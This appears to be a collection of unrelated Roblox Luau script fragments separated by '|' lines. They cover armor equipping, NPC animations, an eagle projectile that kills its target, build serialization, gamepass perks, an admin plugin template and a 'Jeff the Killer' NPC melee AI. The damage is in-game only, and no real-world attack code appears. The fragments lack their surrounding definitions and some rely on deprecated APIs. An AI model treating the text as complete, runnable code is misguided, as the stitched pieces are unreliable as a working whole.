end)
return newPromise
end
|
--//Controller//--
|
Humanoid.StateChanged:Connect(function(OldState, NewState)
if NewState == Enum.HumanoidStateType.Jumping then
local HumanoidDescription = Humanoid:GetAppliedDescription()
if Settings.Scale <= 1 then
Settings.Scale = 1
HumanoidDescription.DepthScale = 1
HumanoidDescription.WidthScale = 1
Humanoid:ApplyDescription(HumanoidDescription)
Humanoid.WalkSpeed = Humanoid.WalkSpeed + 4
Humanoid.JumpPower = Humanoid.JumpPower + 15
script:Destroy()
else
Settings.Scale = Settings.Scale - 0.1
HumanoidDescription.DepthScale = Settings.Scale
HumanoidDescription.WidthScale = Settings.Scale
Humanoid:ApplyDescription(HumanoidDescription)
end
end
end)
|
-- sprinting
|
local FOVChanges = {
FieldOfView = 90
}
local TweenInformation = TweenInfo.new(
1, --tween length
Enum.EasingStyle.Quint, --easing Style
Enum.EasingDirection.Out, --easing Direction
0, --repitition time
false, --reverse?
0 --delay
)
local tween = TweeningService:Create(camera,TweenInformation,FOVChanges)
|
--//Main Function
|
ProximityPrompt.Triggered:Connect(function(Player)
local Character = Player.Character
local Torso = Character:WaitForChild("Right Arm")
ProximityPrompt.ActionText = "Wear"
if Character:FindFirstChild(script.Parent.Parent.Name) then
Character[script.Parent.Parent.Name]:Destroy()
else
local NewArmor = Armor:Clone()
NewArmor:SetPrimaryPartCFrame(Torso.CFrame)
NewArmor.PrimaryPart:Destroy()
ProximityPrompt.ActionText = "Take off"
for _, part in pairs (NewArmor:GetChildren()) do
if part:IsA("BasePart") then
WeldParts(Torso, part)
part.CanCollide = false
part.Anchored = false
end
end
NewArmor.Parent = Character
end
end)
|
-- Create and load the animations
|
loadAnimation(animationController, Animations.SuperheroIdle):Play()
waveAnimationTrack = loadAnimation(animationController, Animations.Wave)
waveAnimationTrack.Looped = false
RunService.Stepped:Connect(function()
local distance = makeNPCLookAt(character.PrimaryPart.Position)
if distance and distance < WAVE_THRESHOLD then
if tick() - lastWavedAt > WAVE_DEBOUNCE_TIME and not characterIsNear then
waveAnimationTrack:Play(.5)
lastWavedAt = tick()
end
characterIsNear = true
else
characterIsNear = false
end
end)
|
--Made by Luckymaxer
|
Eagle = script.Parent
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Creator = Eagle:FindFirstChild("Creator")
Target = Eagle:FindFirstChild("Target")
BodyPosition = Eagle:FindFirstChild("BodyPosition")
BodyGyro = Eagle:FindFirstChild("BodyGyro")
Rate = (1 / 60)
TargetReached = false
TargetFailed = false
Speed = 3
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function GetCreator()
local Player = Creator.Value
if not Player or not Player.Parent or not Player:IsA("Player") then
return
end
local Character = Player.Character
if not Character or not Character.Parent then
return
end
local Humanoid = Character:FindFirstChild("Humanoid")
if not Humanoid or Humanoid.Health == 0 then
return
end
return {Player = Player, Character = Character, Humanoid = Humanoid}
end
function GetTarget()
local Character = Target.Value
if not Character or not Character.Parent then
return
end
local Humanoid = Character:FindFirstChild("Humanoid")
if not Humanoid or Humanoid.Health == 0 then
return
end
return {Character = Character, Humanoid = Humanoid}
end
function CheckIfCreatorAlive()
return ((GetCreator() and true) or false)
end
function CheckIfTargetAlive()
return ((GetTarget() and true) or false)
end
while CheckIfCreatorAlive() and CheckIfTargetAlive() and not TargetReached and not TargetFailed and BodyPosition.Parent and BodyGyro.Parent do
local TargetValue = GetTarget()
if TargetValue then
local TargetHead = TargetValue.Character:FindFirstChild("Head")
if not TargetHead then
TargetFailed = true
break
end
local Distance = (Eagle.Position - TargetHead.Position).Magnitude
if Distance <= 10 then
TargetReached = true
break
end
Direction = CFrame.new(Eagle.Position, TargetHead.Position)
BodyGyro.cframe = Direction
BodyPosition.position = (BodyPosition.position + Direction.lookVector * Speed)
end
wait(Rate)
end
if TargetReached and not TargetFailed then
local TargetValue = GetTarget()
if TargetValue then
local TargetCharacter = TargetValue.Character
local TargetHead = TargetCharacter:FindFirstChild("Head")
local TargetHumanoid = TargetCharacter:FindFirstChild("Humanoid")
if TargetHead and TargetHumanoid and TargetHumanoid.Health > 0 then
local GripWeld = Create("Weld"){
Part0 = TargetHead,
Part1 = Eagle,
C0 = CFrame.new(0, ((TargetHead.Size.Y / 2) + (Eagle.Size.Y / 2)), 0) * CFrame.Angles(Eagle.CFrame:toEulerAnglesXYZ()),
C1 = CFrame.new(0, 0, 0),
Parent = Eagle,
}
TargetHumanoid.Sit = true
local NewPosition = ((Eagle.CFrame * CFrame.Angles(0, (math.pi * 2), 0) + Vector3.new(0, 1000, 0)) * CFrame.new(0, 0, 1000))
Direction = CFrame.new(Eagle.Position, NewPosition.p)
local StartTick = tick()
local Killed = false
while Eagle and Eagle.Parent and BodyPosition.Parent and BodyGyro.Parent do
if (tick() - StartTick) >= 5 and not Killed then
Killed = true
Debris:AddItem(Eagle, 5)
local CurrentCreator = GetCreator()
local CurrentTarget = GetTarget()
if CurrentTarget and CheckIfTargetAlive() then
local TargetHumanoid = CurrentTarget.Humanoid
if CurrentCreator then
UntagHumanoid(TargetHumanoid)
TagHumanoid(TargetHumanoid, CurrentCreator.Player)
end
TargetHumanoid:TakeDamage(TargetHumanoid.MaxHealth)
end
if GripWeld and GripWeld.Parent then
GripWeld:Destroy()
end
end
BodyGyro.cframe = Direction
BodyPosition.position = (Eagle.Position + Direction.lookVector * (Speed * 8))
wait(Rate)
end
end
end
end
|
--// Unused (Don't delete)
|
RestMode = false;
AttachmentsEnabled = false;
UIScope = false;
CanSlideLock = false;
|
--------SIDE SQUARES--------
|
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(1013)
game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(1013)
game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(1023)
game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(1023)
game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(106)
game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(106)
game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(106)
|
-- Import services
|
local Tool = script.Parent.Parent
local Support = require(Tool.Libraries.SupportLibrary);
Support.ImportServices();
local Types = {
Part = 0,
WedgePart = 1,
CornerWedgePart = 2,
VehicleSeat = 3,
Seat = 4,
TrussPart = 5,
SpecialMesh = 6,
Texture = 7,
Decal = 8,
PointLight = 9,
SpotLight = 10,
SurfaceLight = 11,
Smoke = 12,
Fire = 13,
Sparkles = 14,
Model = 15,
Folder = 18
};
local DefaultNames = {
Part = 'Part',
WedgePart = 'Wedge',
CornerWedgePart = 'CornerWedge',
VehicleSeat = 'VehicleSeat',
Seat = 'Seat',
TrussPart = 'Truss',
SpecialMesh = 'Mesh',
Texture = 'Texture',
Decal = 'Decal',
PointLight = 'PointLight',
SpotLight = 'SpotLight',
SurfaceLight = 'SurfaceLight',
Smoke = 'Smoke',
Fire = 'Fire',
Sparkles = 'Sparkles',
Model = 'Model',
Folder = 'Folder'
};
function Serialization.SerializeModel(Items)
-- Returns a serialized version of the given model
-- Filter out non-serializable items in `Items`
local SerializableItems = {};
for Index, Item in ipairs(Items) do
table.insert(SerializableItems, Types[Item.ClassName] and Item or nil);
end;
Items = SerializableItems;
-- Get a snapshot of the content
local Keys = Support.FlipTable(Items);
local Data = {};
Data.Version = 3;
Data.Items = {};
-- Serialize each item in the model
for Index, Item in pairs(Items) do
if Item:IsA 'BasePart' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Size.X;
Datum[5] = Item.Size.Y;
Datum[6] = Item.Size.Z;
Support.ConcatTable(Datum, { Item.CFrame:components() });
Datum[19] = Item.Color.r;
Datum[20] = Item.Color.g;
Datum[21] = Item.Color.b;
Datum[22] = Item.Material.Value;
Datum[23] = Item.Anchored and 1 or 0;
Datum[24] = Item.CanCollide and 1 or 0;
Datum[25] = Item.Reflectance;
Datum[26] = Item.Transparency;
Datum[27] = Item.TopSurface.Value;
Datum[28] = Item.BottomSurface.Value;
Datum[29] = Item.FrontSurface.Value;
Datum[30] = Item.BackSurface.Value;
Datum[31] = Item.LeftSurface.Value;
Datum[32] = Item.RightSurface.Value;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Part' then
local Datum = Data.Items[Index];
Datum[33] = Item.Shape.Value;
end;
if Item.ClassName == 'VehicleSeat' then
local Datum = Data.Items[Index];
Datum[33] = Item.MaxSpeed;
Datum[34] = Item.Torque;
Datum[35] = Item.TurnSpeed;
end;
if Item.ClassName == 'TrussPart' then
local Datum = Data.Items[Index];
Datum[33] = Item.Style.Value;
end;
if Item.ClassName == 'SpecialMesh' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.MeshType.Value;
Datum[5] = Item.MeshId;
Datum[6] = Item.TextureId;
Datum[7] = Item.Offset.X;
Datum[8] = Item.Offset.Y;
Datum[9] = Item.Offset.Z;
Datum[10] = Item.Scale.X;
Datum[11] = Item.Scale.Y;
Datum[12] = Item.Scale.Z;
Datum[13] = Item.VertexColor.X;
Datum[14] = Item.VertexColor.Y;
Datum[15] = Item.VertexColor.Z;
Data.Items[Index] = Datum;
end;
if Item:IsA 'Decal' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Texture;
Datum[5] = Item.Transparency;
Datum[6] = Item.Face.Value;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Texture' then
local Datum = Data.Items[Index];
Datum[7] = Item.StudsPerTileU;
Datum[8] = Item.StudsPerTileV;
end;
if Item:IsA 'Light' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Brightness;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.Enabled and 1 or 0;
Datum[9] = Item.Shadows and 1 or 0;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'PointLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
end;
if Item.ClassName == 'SpotLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
Datum[11] = Item.Angle;
Datum[12] = Item.Face.Value;
end;
if Item.ClassName == 'SurfaceLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
Datum[11] = Item.Angle;
Datum[12] = Item.Face.Value;
end;
if Item.ClassName == 'Smoke' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.Size;
Datum[9] = Item.RiseVelocity;
Datum[10] = Item.Opacity;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Fire' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.SecondaryColor.r;
Datum[9] = Item.SecondaryColor.g;
Datum[10] = Item.SecondaryColor.b;
Datum[11] = Item.Heat;
Datum[12] = Item.Size;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Sparkles' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.SparkleColor.r;
Datum[6] = Item.SparkleColor.g;
Datum[7] = Item.SparkleColor.b;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Model' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.PrimaryPart and Keys[Item.PrimaryPart] or 0;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Folder' then
local Datum = {}
Datum[1] = Types[Item.ClassName]
Datum[2] = Keys[Item.Parent] or 0
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name
Data.Items[Index] = Datum
end
-- Spread the workload over time to avoid locking up the CPU
if Index % 100 == 0 then
wait(0.01);
end;
end;
-- Return the serialized data
return HttpService:JSONEncode(Data);
end;
function Serialization.InflateBuildData(Data)
-- Returns an inflated version of the given build data
local Build = {};
local Instances = {};
-- Create each instance
for Index, Datum in ipairs(Data.Items) do
-- Inflate BaseParts
if Datum[1] == Types.Part
or Datum[1] == Types.WedgePart
or Datum[1] == Types.CornerWedgePart
or Datum[1] == Types.VehicleSeat
or Datum[1] == Types.Seat
or Datum[1] == Types.TrussPart
then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Size = Vector3.new(unpack(Support.Slice(Datum, 4, 6)));
Item.CFrame = CFrame.new(unpack(Support.Slice(Datum, 7, 18)));
Item.Color = Color3.new(Datum[19], Datum[20], Datum[21]);
Item.Material = Datum[22];
Item.Anchored = Datum[23] == 1;
Item.CanCollide = Datum[24] == 1;
Item.Reflectance = Datum[25];
Item.Transparency = Datum[26];
Item.TopSurface = Datum[27];
Item.BottomSurface = Datum[28];
Item.FrontSurface = Datum[29];
Item.BackSurface = Datum[30];
Item.LeftSurface = Datum[31];
Item.RightSurface = Datum[32];
-- Register the part
Instances[Index] = Item;
end;
-- Inflate specific Part properties
if Datum[1] == Types.Part then
local Item = Instances[Index];
Item.Shape = Datum[33];
end;
-- Inflate specific VehicleSeat properties
if Datum[1] == Types.VehicleSeat then
local Item = Instances[Index];
Item.MaxSpeed = Datum[33];
Item.Torque = Datum[34];
Item.TurnSpeed = Datum[35];
end;
-- Inflate specific TrussPart properties
if Datum[1] == Types.TrussPart then
local Item = Instances[Index];
Item.Style = Datum[33];
end;
-- Inflate SpecialMesh instances
if Datum[1] == Types.SpecialMesh then
local Item = Instance.new('SpecialMesh');
Item.MeshType = Datum[4];
Item.MeshId = Datum[5];
Item.TextureId = Datum[6];
Item.Offset = Vector3.new(unpack(Support.Slice(Datum, 7, 9)));
Item.Scale = Vector3.new(unpack(Support.Slice(Datum, 10, 12)));
Item.VertexColor = Vector3.new(unpack(Support.Slice(Datum, 13, 15)));
-- Register the mesh
Instances[Index] = Item;
end;
-- Inflate Decal instances
if Datum[1] == Types.Decal or Datum[1] == Types.Texture then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Texture = Datum[4];
Item.Transparency = Datum[5];
Item.Face = Datum[6];
-- Register the Decal
Instances[Index] = Item;
end;
-- Inflate specific Texture properties
if Datum[1] == Types.Texture then
local Item = Instances[Index];
Item.StudsPerTileU = Datum[7];
Item.StudsPerTileV = Datum[8];
end;
-- Inflate Light instances
if Datum[1] == Types.PointLight
or Datum[1] == Types.SpotLight
or Datum[1] == Types.SurfaceLight
then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Brightness = Datum[4];
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.Enabled = Datum[8] == 1;
Item.Shadows = Datum[9] == 1;
-- Register the light
Instances[Index] = Item;
end;
-- Inflate specific PointLight properties
if Datum[1] == Types.PointLight then
local Item = Instances[Index];
Item.Range = Datum[10];
end;
-- Inflate specific SpotLight properties
if Datum[1] == Types.SpotLight then
local Item = Instances[Index];
Item.Range = Datum[10];
Item.Angle = Datum[11];
Item.Face = Datum[12];
end;
-- Inflate specific SurfaceLight properties
if Datum[1] == Types.SurfaceLight then
local Item = Instances[Index];
Item.Range = Datum[10];
Item.Angle = Datum[11];
Item.Face = Datum[12];
end;
-- Inflate Smoke instances
if Datum[1] == Types.Smoke then
local Item = Instance.new('Smoke');
Item.Enabled = Datum[4] == 1;
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.Size = Datum[8];
Item.RiseVelocity = Datum[9];
Item.Opacity = Datum[10];
-- Register the smoke
Instances[Index] = Item;
end;
-- Inflate Fire instances
if Datum[1] == Types.Fire then
local Item = Instance.new('Fire');
Item.Enabled = Datum[4] == 1;
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.SecondaryColor = Color3.new(unpack(Support.Slice(Datum, 8, 10)));
Item.Heat = Datum[11];
Item.Size = Datum[12];
-- Register the fire
Instances[Index] = Item;
end;
-- Inflate Sparkles instances
if Datum[1] == Types.Sparkles then
local Item = Instance.new('Sparkles');
Item.Enabled = Datum[4] == 1;
Item.SparkleColor = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
-- Register the instance
Instances[Index] = Item;
end;
-- Inflate Model instances
if Datum[1] == Types.Model then
local Item = Instance.new('Model');
-- Register the model
Instances[Index] = Item;
end;
-- Inflate Folder instances
if Datum[1] == Types.Folder then
local Item = Instance.new('Folder')
-- Register the folder
Instances[Index] = Item
end
end;
-- Set object values on each instance
for Index, Datum in pairs(Data.Items) do
-- Get the item's instance
local Item = Instances[Index];
-- Set each item's parent and name
if Item and Datum[1] <= 18 then
Item.Name = (Datum[3] == '') and DefaultNames[Item.ClassName] or Datum[3];
if Datum[2] == 0 then
table.insert(Build, Item);
else
Item.Parent = Instances[Datum[2]];
end;
end;
-- Set model primary parts
if Item and Datum[1] == 15 then
Item.PrimaryPart = (Datum[4] ~= 0) and Instances[Datum[4]] or nil;
end;
end;
-- Return the model
return Build;
end;
|
--// Walk and Sway
|
local L_108_
local L_109_ = 0.6
local L_110_ = 0.05 -- speed
local L_111_ = -0.1 -- height
local L_112_ = 0
local L_113_ = 0
local L_114_ = 35 --This is the limit of the mouse input for the sway
local L_115_ = -9 --This is the magnitude of the sway when you're unaimed
local L_116_ = -9 --This is the magnitude of the sway when you're aimed
|
-- References
|
Support.ImportServices();
SyncAPI = Tool.SyncAPI;
Player = Players.LocalPlayer;
local RunService = game:GetService('RunService')
|
--[[
NVNA Constraint Type: Motorcycle
The Bike Chassis | Build: 1
Version: 1
Avxnturador | NVNA
HAYASHl | Enjin
Please read the README for updates.
--]]
|
local Tune = {}
|
-- Gamepasses
|
for i,v in pairs(RS.GamepassIDs:GetChildren()) do
MS.PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased)
if purchased and v.Value == ido then
if v.Name == "TripleOpen" then
plr.Data.TripleEggOwned.Value = true
elseif v.Name == "AutoOpen" then
plr.Data.AutoEggOwned.Value = true
elseif v.Name == "ExtraEquipped" then
plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 4
elseif v.Name == "ExtraStorage" then
plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30
end
end
end)
game.Players.PlayerAdded:Connect(function(plr)
local Data = plr:WaitForChild("Data", math.huge)
if MS:UserOwnsGamePassAsync(plr.UserId, v.Value) then
if v.Name == "TripleOpen" then
plr.Data.TripleEggOwned.Value = true
elseif v.Name == "AutoOpen" then
plr.Data.AutoEggOwned.Value = true
elseif v.Name == "ExtraEquipped" then
plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 4
elseif v.Name == "ExtraStorage" then
plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30
end
end
end)
end
|
--- Returns an array of the names of all registered types (not including aliases)
|
function Registry:GetTypeNames ()
local typeNames = {}
for typeName in pairs(self.Types) do
typeNames[#typeNames + 1] = typeName
end
return typeNames
end
|
--[[
SERVER PLUGINS' NAMES MUST START WITH "Server: "
CLIENT PLUGINS' NAMES MUST START WITH "Client: "
Plugins have full access to the server/client tables and most variables.
You can use the MakePluginEvent to use the script instead of setting up an event.
PlayerChatted will get chats from the custom chat and nil players.
PlayerJoined will fire after the player finishes initial loading
CharacterAdded will also fire after the player is loaded, it does not use the CharacterAdded event.
service.HookEvent('PlayerChatted',function(msg,plr)
print(msg..' from '..plr.Name..' Example Plugin')
end)
service.HookEvent('PlayerJoined',function(p)
print(p.Name..' Joined! Example Plugin')
end)
service.HookEvent('CharacterAdded',function(plr)
server.RunCommand('name',plr.Name,'BobTest Example Plugin')
end)
--]]
|
local TeleportService = game:GetService("TeleportService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local Players = game:GetService("Players")
local Resources = ServerStorage:WaitForChild("Resources")
local Vest = Resources.Vest
server = nil -- Mutes warnings about unknown globals
service = nil
return function()
server.Commands.ExampleCommand = {
Prefix = server.Settings.Prefix; -- Prefix to use for command
Commands = {"example"}; -- Commands
Args = {"arg1"}; -- Command arguments
Description = "Example command"; -- Command Description
Hidden = true; -- Is it hidden from the command list?
Fun = false; -- Is it fun?
AdminLevel = "Players"; -- Admin level; If using settings.CustomRanks set this to the custom rank name (eg. "Baristas")
Function = function(plr,args) -- Function to run for command
print("HELLO WORLD FROM AN EXAMPLE COMMAND :)")
print("Player supplied args[1] "..tostring(args[1]))
end
}
end
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(30);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
